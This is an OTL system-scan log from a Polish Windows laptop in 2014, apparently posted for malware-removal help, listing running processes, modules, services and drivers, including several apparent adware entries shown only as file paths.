OTL logfile created on: 2014-11-10 21:35:16 - Run 1
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Users\Iza\Desktop
64bit- An unknown product  (Version = 6.2.9200) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17351)
Locale: 00000415 | Country: Polska | Language: PLK | Date Format: yyyy-MM-dd
 
3,87 Gb Total Physical Memory | 1,62 Gb Available Physical Memory | 41,76% Memory free
5,15 Gb Paging File | 2,24 Gb Available in Paging File | 43,59% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\WINDOWS | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 426,22 Gb Total Space | 389,91 Gb Free Space | 91,48% Space Free | Partition Type: NTFS
Drive D: | 25,00 Gb Total Space | 22,64 Gb Free Space | 90,55% Space Free | Partition Type: NTFS
 
Computer Name: LENOVO-PC | User Name: Iza | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
[color=#E56717]========== Processes (SafeList) ==========[/color]
 
PRC - [2014-11-10 21:32:42 | 000,123,632 | ---- | M] () -- C:\ProgramData\7bb6df21-8ca8-4eec-965d-8cd2261544c7\maintainer.exe
PRC - [2014-11-10 21:29:26 | 000,123,680 | ---- | M] () -- C:\ProgramData\66d59f5c-9429-4c86-9f63-c339daeaabaf\maintainer.exe
PRC - [2014-11-10 21:25:45 | 000,377,856 | R--- | M] () -- C:\Users\Iza\AppData\Local\Temp\Temp2_gm.zip\m57g1hli.exe
PRC - [2014-11-10 21:20:45 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Iza\Desktop\OTL.scr
PRC - [2014-11-10 21:18:49 | 000,526,064 | ---- | M] () -- C:\Program Files (x86)\EnterDigital\bin\utilEnterDigital.exe
PRC - [2014-11-10 21:15:38 | 000,526,064 | ---- | M] () -- C:\Program Files (x86)\EnterDigital\updateEnterDigital.exe
PRC - [2014-11-10 16:24:07 | 000,098,544 | ---- | M] () -- C:\Program Files (x86)\EnterDigital\bin\EnterDigital.BrowserAdapter.exe
PRC - [2014-11-08 19:24:42 | 001,649,904 | ---- | M] () -- C:\Program Files (x86)\EnterDigital\bin\EnterDigital.BOASHelper.exe
PRC - [2014-11-07 12:38:35 | 000,745,984 | ---- | M] () -- C:\Program Files (x86)\ver6SpeeditUp\SpeeditUp.exe
PRC - [2014-11-07 12:38:35 | 000,455,680 | ---- | M] () -- C:\Program Files (x86)\ver6SpeeditUp\x7SpeeditUpG12.exe
PRC - [2014-11-07 09:58:22 | 000,275,568 | ---- | M] (Mozilla Corporation) -- C:\Program Files (x86)\Mozilla Firefox\firefox.exe
PRC - [2014-11-05 11:31:14 | 003,976,648 | ---- | M] () -- C:\Program Files (x86)\mbot_pl_93\mbot_pl_93.exe
PRC - [2014-11-05 11:31:14 | 003,304,392 | ---- | M] () -- C:\Users\Iza\AppData\Local\mbot_pl_93\upmbot_pl_93.exe
PRC - [2014-11-04 19:55:36 | 000,277,584 | ---- | M] (Word Proser) -- C:\Program Files (x86)\WordProser_1.10.0.2\Service\wpsvc.exe
PRC - [2014-10-29 22:56:48 | 001,880,752 | ---- | M] (Adobe Systems, Inc.) -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerPlugin_15_0_0_189.exe
PRC - [2014-09-18 15:37:00 | 000,016,384 | ---- | M] () -- C:\Program Files (x86)\WhiteSmoke Writer V8\WhiteSmokeSvc.exe
PRC - [2014-09-03 17:07:44 | 000,852,768 | ---- | M] (Lenovo) -- C:\Program Files\Lenovo\Lenovo Solution Center\LSCNotify.exe
PRC - [2014-07-14 17:21:46 | 001,390,176 | ---- | M] (Microsoft Corporation) -- C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
PRC - [2014-07-14 17:21:06 | 001,767,520 | ---- | M] (Microsoft Corporation) -- C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
PRC - [2014-01-23 12:40:35 | 000,925,904 | ---- | M] (ABBYY Production LLC) -- C:\Program Files (x86)\ABBYY FineReader 12\NetworkLicenseServer.exe
PRC - [2014-01-14 13:23:28 | 001,761,792 | ---- | M] (MiniSoft) -- C:\Program Files (x86)\MiniGet\MiniGet.exe
PRC - [2013-11-07 07:31:03 | 000,773,632 | ---- | M] () -- c:\ProgramData\Trusted Publisher\SW-Booster\SW-Booster.exe
PRC - [2012-11-15 15:51:58 | 000,153,368 | ---- | M] (Broadcom Corporation.) -- C:\Program Files\Lenovo\Bluetooth Software\Bluetooth Headset Helper.exe
PRC - [2012-07-27 11:52:44 | 000,167,024 | ---- | M] (CyberLink Corp.) -- C:\Program Files (x86)\Lenovo\YouCam\YouCamTray.exe
PRC - [2012-07-27 11:52:44 | 000,136,488 | ---- | M] (CyberLink) -- C:\Program Files (x86)\Lenovo\YouCam\YCMMirage.exe
PRC - [2012-07-17 14:57:22 | 000,365,376 | ---- | M] (Intel Corporation) -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe
PRC - [2012-07-17 14:57:20 | 000,277,824 | ---- | M] (Intel Corporation) -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
PRC - [2012-06-25 10:57:14 | 000,166,720 | ---- | M] (Intel Corporation) -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
PRC - [2012-03-28 18:34:30 | 000,091,432 | ---- | M] (CyberLink Corp.) -- C:\Program Files (x86)\Lenovo\PowerDVD10\PDVD10Serv.exe
PRC - [2006-11-04 21:29:08 | 000,202,280 | ---- | M] (Corel Corporation) -- C:\Program Files (x86)\Corel\CorelDRAW Graphics Suite 13\Programs\CorelDRW.exe
PRC - [2006-11-02 20:40:12 | 000,174,656 | ---- | M] () -- C:\Program Files (x86)\Common Files\Protexis\License Service\PSIService.exe
 
 
[color=#E56717]========== Modules (No Company Name) ==========[/color]
 
MOD - [2014-11-10 21:25:45 | 000,377,856 | R--- | M] () -- C:\Users\Iza\AppData\Local\Temp\Temp2_gm.zip\m57g1hli.exe
MOD - [2014-11-10 16:24:07 | 000,098,544 | ---- | M] () -- C:\Program Files (x86)\EnterDigital\bin\EnterDigital.BrowserAdapter.exe
MOD - [2014-11-08 19:24:42 | 001,649,904 | ---- | M] () -- C:\Program Files (x86)\EnterDigital\bin\EnterDigital.BOASHelper.exe
MOD - [2014-11-07 12:38:35 | 000,745,984 | ---- | M] () -- C:\Program Files (x86)\ver6SpeeditUp\SpeeditUp.exe
MOD - [2014-11-07 12:38:35 | 000,455,680 | ---- | M] () -- C:\Program Files (x86)\ver6SpeeditUp\x7SpeeditUpG12.exe
MOD - [2014-11-07 09:58:20 | 003,649,648 | ---- | M] () -- C:\Program Files (x86)\Mozilla Firefox\mozjs.dll
MOD - [2014-11-05 11:31:14 | 003,976,648 | ---- | M] () -- C:\Program Files (x86)\mbot_pl_93\mbot_pl_93.exe
MOD - [2014-11-05 11:31:14 | 003,304,392 | ---- | M] () -- C:\Users\Iza\AppData\Local\mbot_pl_93\upmbot_pl_93.exe
MOD - [2014-10-29 22:56:46 | 016,832,176 | ---- | M] () -- C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_15_0_0_189.dll
MOD - [2014-06-26 06:24:26 | 000,612,664 | ---- | M] () -- C:\Program Files (x86)\ver6SpeeditUp\sqlite3.dll
 
 
[color=#E56717]========== Services (SafeList) ==========[/color]
 
SRV:[b]64bit:[/b] - [2014-09-25 03:10:24 | 002,436,280 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe -- (ClickToRunSvc)
SRV:[b]64bit:[/b] - [2014-09-24 16:54:42 | 000,111,616 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\WINDOWS\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:[b]64bit:[/b] - [2014-09-24 16:41:34 | 000,491,520 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\GeofenceMonitorService.dll -- (lfsvc)
SRV:[b]64bit:[/b] - [2014-09-24 16:41:34 | 000,201,216 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\AudioEndpointBuilder.dll -- (AudioEndpointBuilder)
SRV:[b]64bit:[/b] - [2014-09-24 16:33:35 | 000,347,880 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Program Files\Windows Defender\NisSrv.exe -- (WdNisSvc)
SRV:[b]64bit:[/b] - [2014-09-24 16:33:35 | 000,023,824 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Windows Defender\MsMpEng.exe -- (WinDefend)
SRV:[b]64bit:[/b] - [2014-09-24 16:25:46 | 001,306,624 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\AppXDeploymentServer.dll -- (AppXSvc)
SRV:[b]64bit:[/b] - [2014-09-24 16:25:45 | 000,834,560 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\netlogon.dll -- (Netlogon)
SRV:[b]64bit:[/b] - [2014-09-24 16:15:36 | 001,600,000 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\workfolderssvc.dll -- (workfolderssvc)
SRV:[b]64bit:[/b] - [2014-09-24 16:10:15 | 000,710,656 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\lsm.dll -- (LSM)
SRV:[b]64bit:[/b] - [2014-09-24 16:10:14 | 000,530,944 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\AppReadiness.dll -- (AppReadiness)
SRV:[b]64bit:[/b] - [2014-09-24 16:10:10 | 000,366,080 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wcmsvc.dll -- (Wcmsvc)
SRV:[b]64bit:[/b] - [2014-09-24 16:10:09 | 003,394,384 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\WSService.dll -- (WSService)
SRV:[b]64bit:[/b] - [2014-09-24 16:10:08 | 001,576,960 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\wlidsvc.dll -- (wlidsvc)
SRV:[b]64bit:[/b] - [2014-09-24 16:10:06 | 000,399,872 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\das.dll -- (DeviceAssociationService)
SRV:[b]64bit:[/b] - [2014-09-03 17:08:16 | 000,272,776 | ---- | M] () [On_Demand | Stopped] -- C:\Program Files\Lenovo\Lenovo Solution Center\App\LSCWinService.exe -- (LSCWinService)
SRV:[b]64bit:[/b] - [2014-08-16 04:29:38 | 002,899,968 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\spool\drivers\x64\3\PrintConfig.dll -- (PrintNotify)
SRV:[b]64bit:[/b] - [2014-08-16 01:58:35 | 000,287,744 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\SystemEventsBrokerServer.dll -- (SystemEventsBroker)
SRV:[b]64bit:[/b] - [2014-08-16 01:45:51 | 000,267,776 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\bisrv.dll -- (BrokerInfrastructure)
SRV:[b]64bit:[/b] - [2014-05-20 23:33:44 | 000,314,696 | ---- | M] (Intel Corporation) [Auto | Running] -- C:\Windows\SysNative\igfxCUIService.exe -- (igfxCUIService1.0.0.0)
SRV:[b]64bit:[/b] - [2014-04-09 14:13:48 | 000,289,256 | ---- | M] (McAfee, Inc.) [On_Demand | Stopped] -- C:\Program Files\McAfee Security Scan\3.8.150\McCHSvc.exe -- (McComponentHostService)
SRV:[b]64bit:[/b] - [2013-09-04 17:12:54 | 002,252,504 | ---- | M] (Broadcom Corporation.) [Auto | Stopped] -- C:\Windows\SysNative\BtwRSupportService.exe -- (BcmBtRSupport)
SRV:[b]64bit:[/b] - [2013-08-22 12:32:02 | 000,024,576 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\wephostsvc.dll -- (WEPHOSTSVC)
SRV:[b]64bit:[/b] - [2013-08-22 12:31:43 | 000,040,448 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\efssvc.dll -- (EFS)
SRV:[b]64bit:[/b] - [2013-08-22 12:22:45 | 000,066,048 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\wiarpc.dll -- (WiaRpc)
SRV:[b]64bit:[/b] - [2013-08-22 12:21:15 | 000,013,312 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\svsvc.dll -- (svsvc)
SRV:[b]64bit:[/b] - [2013-08-22 12:16:57 | 000,118,272 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\fhsvc.dll -- (fhsvc)
SRV:[b]64bit:[/b] - [2013-08-22 12:03:41 | 000,052,736 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\WINDOWS\SysNative\rundll32.exe -- (fc67e7a0)
SRV:[b]64bit:[/b] - [2013-08-22 11:25:28 | 000,164,352 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\NcaSvc.dll -- (NcaSvc)
SRV:[b]64bit:[/b] - [2013-08-22 11:19:28 | 000,517,120 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicvss)
SRV:[b]64bit:[/b] - [2013-08-22 11:19:28 | 000,517,120 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmictimesync)
SRV:[b]64bit:[/b] - [2013-08-22 11:19:28 | 000,517,120 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicshutdown)
SRV:[b]64bit:[/b] - [2013-08-22 11:19:28 | 000,517,120 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicrdv)
SRV:[b]64bit:[/b] - [2013-08-22 11:19:28 | 000,517,120 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmickvpexchange)
SRV:[b]64bit:[/b] - [2013-08-22 11:19:28 | 000,517,120 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicheartbeat)
SRV:[b]64bit:[/b] - [2013-08-22 11:19:28 | 000,517,120 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicguestinterface)
SRV:[b]64bit:[/b] - [2013-08-22 11:02:47 | 000,013,312 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\smphost.dll -- (smphost)
SRV:[b]64bit:[/b] - [2013-08-22 10:57:25 | 000,130,560 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\ScDeviceEnum.dll -- (ScDeviceEnum)
SRV:[b]64bit:[/b] - [2013-08-22 10:54:59 | 000,059,392 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\keyiso.dll -- (KeyIso)
SRV:[b]64bit:[/b] - [2013-08-22 10:50:59 | 000,245,760 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\TimeBrokerServer.dll -- (TimeBroker)
SRV:[b]64bit:[/b] - [2013-08-22 10:50:00 | 000,525,312 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\netprofmsvc.dll -- (netprofm)
SRV:[b]64bit:[/b] - [2013-08-22 10:45:59 | 000,151,040 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\ncbservice.dll -- (NcbService)
SRV:[b]64bit:[/b] - [2013-08-22 10:40:49 | 000,248,832 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\vaultsvc.dll -- (VaultSvc)
SRV:[b]64bit:[/b] - [2013-08-22 10:31:03 | 000,201,728 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\DeviceSetupManager.dll -- (DsmSvc)
SRV:[b]64bit:[/b] - [2013-08-22 10:15:54 | 000,073,728 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\NcdAutoSetup.dll -- (NcdAutoSetup)
SRV:[b]64bit:[/b] - [2012-11-15 15:51:42 | 000,959,256 | ---- | M] (Broadcom Corporation.) [Auto | Running] -- C:\Program Files\Lenovo\Bluetooth Software\btwdins.exe -- (btwdins)
SRV:[b]64bit:[/b] - [2012-06-08 10:07:16 | 000,201,376 | ---- | M] (Conexant Systems Inc.) [Auto | Running] -- C:\Windows\SysNative\CxAudMsg64.exe -- (CxAudMsg)
SRV:[b]64bit:[/b] - [2012-04-20 14:16:12 | 000,635,104 | ---- | M] (Intel(R) Corporation) [Auto | Running] -- C:\Program Files\Intel\iCLS Client\HeciServer.exe -- (Intel(R)
SRV - [2014-11-10 21:32:42 | 000,123,632 | ---- | M] () [Auto | Running] -- C:\ProgramData\7bb6df21-8ca8-4eec-965d-8cd2261544c7\maintainer.exe -- (MaintainerSvc6.37.565328)
SRV - [2014-11-10 21:29:26 | 000,123,680 | ---- | M] () [Auto | Running] -- C:\ProgramData\66d59f5c-9429-4c86-9f63-c339daeaabaf\maintainer.exe -- (MaintainerSvc7.71.837357)
SRV - [2014-11-10 21:18:49 | 000,526,064 | ---- | M] () [Auto | Running] -- C:\Program Files (x86)\EnterDigital\bin\utilEnterDigital.exe -- (Util EnterDigital)
SRV - [2014-11-10 21:15:38 | 000,526,064 | ---- | M] () [Auto | Running] -- C:\Program Files (x86)\EnterDigital\updateEnterDigital.exe -- (Update EnterDigital)
SRV - [2014-11-07 12:32:30 | 000,068,608 | ---- | M] (globalUpdate) [On_Demand | Stopped] -- C:\Program Files (x86)\globalUpdate\Update\GoogleUpdate.exe -- (globalUpdatem)
SRV - [2014-11-07 12:32:30 | 000,068,608 | ---- | M] (globalUpdate) [Auto | Stopped] -- C:\Program Files (x86)\globalUpdate\Update\GoogleUpdate.exe -- (globalUpdate)
SRV - [2014-11-07 09:58:21 | 000,114,288 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2014-11-04 19:55:36 | 000,277,584 | ---- | M] (Word Proser) [Auto | Running] -- C:\Program Files (x86)\WordProser_1.10.0.2\Service\wpsvc.exe -- (wpsvc_1.10.0.2)
SRV - [2014-10-29 22:56:48 | 000,267,440 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2014-09-24 16:41:34 | 000,357,376 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\GeofenceMonitorService.dll -- (lfsvc)
SRV - [2014-09-18 15:37:00 | 000,016,384 | ---- | M] () [Auto | Running] -- C:\Program Files (x86)\WhiteSmoke Writer V8\WhiteSmokeSvc.exe -- (WhiteSmokeSvc)
SRV - [2014-08-16 04:29:38 | 002,899,968 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\WINDOWS\system32\spool\drivers\x64\3\PrintConfig.dll -- (PrintNotify)
SRV - [2014-07-14 17:21:46 | 001,390,176 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe -- (c2cautoupdatesvc)
SRV - [2014-07-14 17:21:06 | 001,767,520 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe -- (c2cpnrsvc)
SRV - [2014-05-20 23:33:48 | 000,278,344 | ---- | M] (Intel Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\IntelCpHeciSvc.exe -- (cphs)
SRV - [2014-04-03 19:21:48 | 000,315,008 | R--- | M] (Skype Technologies) [Auto | Stopped] -- C:\Program Files (x86)\Skype\Updater\Updater.exe -- (SkypeUpdate)
SRV - [2014-01-23 12:40:35 | 000,925,904 | ---- | M] (ABBYY Production LLC) [Auto | Running] -- C:\Program Files (x86)\ABBYY FineReader 12\NetworkLicenseServer.exe -- (ABBYY.Licensing.FineReader.Professional.12.0)
SRV - [2013-08-22 04:55:35 | 000,018,944 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\StorSvc.dll -- (StorSvc)
SRV - [2013-08-22 03:53:34 | 000,011,776 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\smphost.dll -- (smphost)
SRV - [2012-07-17 14:57:22 | 000,365,376 | ---- | M] (Intel Corporation) [Auto | Running] -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe -- (UNS)
SRV - [2012-07-17 14:57:20 | 000,277,824 | ---- | M] (Intel Corporation) [Auto | Running] -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe -- (LMS)
SRV - [2012-06-25 10:57:14 | 000,166,720 | ---- | M] (Intel Corporation) [Auto | Running] -- C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe -- (jhi_service)
SRV - [2006-11-02 20:40:12 | 000,174,656 | ---- | M] () [Auto | Start_Pending] -- C:\Program Files (x86)\Common Files\Protexis\License Service\PSIService.exe -- (ProtexisLicensing)
 
 
[color=#E56717]========== Driver Services (SafeList) ==========[/color]
 
DRV:[b]64bit:[/b] - [2014-11-09 05:26:46 | 000,048,784 | ---- | M] (StdLib) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\{dbe9acb7-ca74-4c18-ad13-f0270d74c42d}Gw64.sys -- ({dbe9acb7-ca74-4c18-ad13-f0270d74c42d}Gw64)
DRV:[b]64bit:[/b] - [2014-11-07 12:38:35 | 000,058,040 | ---- | M] (Corsica) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\webinstrNew.sys -- (webinstrNew)
DRV:[b]64bit:[/b] - [2014-11-07 01:28:42 | 000,048,784 | ---- | M] (StdLib) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\{9015bae7-cdbb-4473-a5d0-ecfa559b2ca5}Gw64.sys -- ({9015bae7-cdbb-4473-a5d0-ecfa559b2ca5}Gw64)
DRV:[b]64bit:[/b] - [2014-11-04 19:55:36 | 000,058,240 | ---- | M] (Word Proser) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\wpnfd_1_10_0_2.sys -- (wpnfd_1_10_0_2)
DRV:[b]64bit:[/b] - [2014-09-24 16:59:40 | 000,055,328 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\wpcfltr.sys -- (wpcfltr)
DRV:[b]64bit:[/b] - [2014-09-24 16:33:35 | 000,257,880 | ---- | M] (Microsoft Corporation) [File_System | Boot | Running] -- C:\Windows\SysNative\drivers\WdFilter.sys -- (WdFilter)
DRV:[b]64bit:[/b] - [2014-09-24 16:33:35 | 000,123,224 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\WdNisDrv.sys -- (WdNisDrv)
DRV:[b]64bit:[/b] - [2014-09-24 16:33:35 | 000,035,856 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\WdBoot.sys -- (WdBoot)
DRV:[b]64bit:[/b] - [2014-09-24 16:25:50 | 000,157,016 | ---- | M] (Microsoft Corporation) [File_System | Boot | Running] -- C:\WINDOWS\SysNative\drivers\wof.sys -- (Wof)
DRV:[b]64bit:[/b] - [2014-09-24 16:25:47 | 000,136,024 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\wfplwfs.sys -- (WFPLWFS)
DRV:[b]64bit:[/b] - [2014-09-24 16:25:46 | 000,376,152 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\clfs.sys -- (CLFS)
DRV:[b]64bit:[/b] - [2014-09-24 16:15:29 | 000,126,464 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\NdisImPlatform.sys -- (NdisImPlatform)
DRV:[b]64bit:[/b] - [2014-09-24 16:15:26 | 000,468,288 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\USBHUB3.SYS -- (USBHUB3)
DRV:[b]64bit:[/b] - [2014-09-24 16:15:26 | 000,412,992 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\spaceport.sys -- (spaceport)
DRV:[b]64bit:[/b] - [2014-09-24 16:10:09 | 000,924,504 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\WINDOWS\SysNative\drivers\refs.sys -- (ReFS)
DRV:[b]64bit:[/b] - [2014-09-24 16:10:06 | 000,146,776 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SerCx2.sys -- (SerCx2)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:57 | 000,175,960 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\VerifierExt.sys -- (VerifierExt)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:56 | 000,236,888 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\sdbus.sys -- (sdbus)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:56 | 000,226,304 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\BthLEEnum.sys -- (BthLEEnum)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:56 | 000,086,872 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\pdc.sys -- (pdc)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:56 | 000,079,192 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\sdstor.sys -- (sdstor)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:56 | 000,039,768 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\intelpep.sys -- (intelpep)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:56 | 000,033,280 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\BasicRender.sys -- (BasicRender)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:55 | 000,325,464 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\USBXHCI.SYS -- (USBXHCI)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:55 | 000,189,784 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\UCX01000.SYS -- (UCX01000)
DRV:[b]64bit:[/b] - [2014-09-24 16:09:55 | 000,057,176 | ---- | M] (Microsoft Corporation) [Kernel | Boot | Stopped] -- C:\Windows\SysNative\drivers\stornvme.sys -- (stornvme)
DRV:[b]64bit:[/b] - [2014-09-24 15:51:51 | 000,027,488 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV:[b]64bit:[/b] - [2014-09-24 15:51:48 | 000,037,216 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\terminpt.sys -- (terminpt)
DRV:[b]64bit:[/b] - [2014-08-15 01:36:55 | 000,146,752 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\msgpioclx.sys -- (GPIOClx0101)
DRV:[b]64bit:[/b] - [2014-05-20 23:33:36 | 003,791,872 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\igdkmd64.sys -- (igfx)
DRV:[b]64bit:[/b] - [2014-05-06 23:39:17 | 000,038,296 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\intelaud.sys -- (intaud_WaveExtensible)
DRV:[b]64bit:[/b] - [2014-05-06 23:39:17 | 000,027,032 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\iwdbus.sys -- (iwdbus)
DRV:[b]64bit:[/b] - [2014-02-07 21:37:50 | 000,039,008 | ---- | M] (Lenovo.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\LhdX64.sys -- (LHDmgr)
DRV:[b]64bit:[/b] - [2014-02-07 21:37:50 | 000,033,560 | ---- | M] (Lenovo Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\AcpiVpc.sys -- (ACPIVPC)
DRV:[b]64bit:[/b] - [2013-09-04 17:12:52 | 000,166,104 | ---- | M] (Broadcom Corporation.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\btwampfl.sys -- (btwampfl)
